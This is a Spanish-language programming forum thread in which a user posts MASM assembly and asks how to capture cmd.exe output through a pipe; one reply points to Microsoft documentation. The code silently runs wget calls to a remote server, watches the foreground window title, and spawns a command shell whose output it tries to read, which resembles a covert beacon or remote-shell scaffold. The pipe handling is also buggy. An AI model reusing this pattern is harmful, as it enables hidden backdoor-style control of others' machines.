elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Leer salida de un comando en MASM
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Leer salida de un comando en MASM  (Leído 2,503 veces)
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Leer salida de un comando en MASM
« en: 23 Enero 2015, 08:42 am »

Hola a todos me gustaría saber como puedo leer la salida de un comando ejecutado en la consola, me explico:

Mi programa -> Lanza el comando cmd.exe -> el programa recibe en un buffer lo que mostró es decir:
Citar
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Tengo el siguiente código, solo tomen importancia en donde he comentado:
Código
  1. .386
  2. option casemap:none
  3. .model flat,stdcall
  4. include c:\masm32\include\windows.inc
  5. include c:\masm32\include\kernel32.inc
  6. include c:\masm32\include\user32.inc
  7. include c:\masm32\include\shlwapi.inc
  8. includelib c:\masm32\lib\kernel32.lib
  9. includelib c:\masm32\lib\user32.lib
  10. includelib c:\masm32\lib\shlwapi.lib
  11.  
  12. .const
  13.  
  14. .data
  15. lpString2 byte "NOTE",0
  16. lpCmdLine1 byte "wget.exe http://www.pagina.com/new.php?start=yes&key=111022212 --delete-after",0
  17. lpCmdLine2 byte "wget.exe http://www.pagina.com/register.php?key=1093211 --delete-after",0
  18. lpCmdLine3 byte "cmd",0
  19. lpCmdLine4 byte 100 dup(?)
  20. lpCmdLine4_size byte ?
  21.  
  22. .data?
  23. lpString byte 80 dup(?)
  24. hWnd HANDLE ?
  25. lpOut byte 40 dup(?)
  26.  
  27. sinfo STARTUPINFO <>
  28. pinfo PROCESS_INFORMATION <>
  29. sattb SECURITY_ATTRIBUTES <>
  30.  
  31. hReadPipeOut HANDLE ?
  32. hWritePipeOut HANDLE ?
  33. .code
  34. main PROC
  35. invoke Sleep,20000d
  36. invoke WinExec,addr lpCmdLine1,SW_HIDE
  37. bucle:
  38. .WHILE(TRUE)
  39. invoke Sleep,3000d
  40. invoke GetForegroundWindow
  41. mov hWnd,eax
  42. .IF hWnd!=NULL
  43. invoke GetWindowText,eax,addr lpString, sizeof lpString
  44. mov edi,offset lpString
  45. mov eax,dword ptr ds:[lpString2]
  46. mov ecx,lengthof lpString
  47. cld
  48. repne scasb
  49. jnz bucle
  50. dec edi
  51. mov edi,dword ptr ds:[edi]
  52. cmp eax,edi
  53. jnz bucle
  54. invoke WinExec,addr lpCmdLine2,SW_HIDE
  55. ; ---AQUI LO QUE ESTOY INTENTANDO REALIZAR---
  56. mov sattb.nLength,sizeof sattb
  57. mov sattb.bInheritHandle,TRUE
  58. mov sattb.lpSecurityDescriptor,NULL
  59. invoke CreatePipe,addr hReadPipeOut,addr hWritePipeOut,addr sattb,0
  60.  
  61. invoke SetHandleInformation,hReadPipeOut,HANDLE_FLAG_INHERIT,NULL
  62.  
  63. mov eax,hReadPipeOut
  64.  
  65. mov sinfo.cb,sizeof sinfo
  66. mov sinfo.dwFlags,STARTF_USESTDHANDLES
  67. mov sinfo.hStdOutput,eax
  68. mov sinfo.hStdOutput,eax
  69. mov sinfo.hStdError,eax
  70. invoke CreateProcess,NULL,addr lpCmdLine3,NULL,NULL,TRUE,0,NULL,NULL,addr sinfo,addr pinfo
  71.  
  72. invoke ReadFile,hReadPipeOut,addr lpCmdLine4,sizeof lpCmdLine4,addr lpCmdLine4_size,NULL
  73. ; ------ FIN DE LO QUE ESTOY INTENTANDO REALIZAR -----
  74. invoke Sleep,1200000d
  75. .ENDIF
  76. .ENDW
  77. main ENDP
  78. END main

Problema: Luego de llamar a ReadFile nunca retorna y su buffer no contiene la salida de cmd.

A ver si me ayudan, saludos


En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Eternal Idol
Kernel coder
Moderador
***
Desconectado Desconectado

Mensajes: 5.937


Israel nunca torturó niños, ni lo volverá a hacer.


Ver Perfil WWW
Re: Leer salida de un comando en MASM
« Respuesta #1 en: 23 Enero 2015, 12:53 pm »

Creating a Child Process with Redirected Input and Output.


En línea

La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Bash] Error al recoger salida de un comando
Scripting
MeCraniDOS 0 1,776 Último mensaje 22 Febrero 2015, 19:58 pm
por MeCraniDOS
[?] Dirigir salida bucle hacia comando linux
Java
HardC0d3 2 2,972 Último mensaje 27 Julio 2017, 02:14 am
por HardC0d3
Ayuda para formatear salida de un comando
Scripting
Last_squat 2 2,643 Último mensaje 16 Mayo 2018, 14:12 pm
por Last_squat
Molestia en salida de comando (Python3)
Scripting
Sergiolocuelo 1 1,474 Último mensaje 21 Agosto 2018, 20:54 pm
por PUAROT
Evitar salida de comando
Scripting
Mauricio De Abreu 7 2,899 Último mensaje 8 Febrero 2022, 17:39 pm
por .xAk.
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines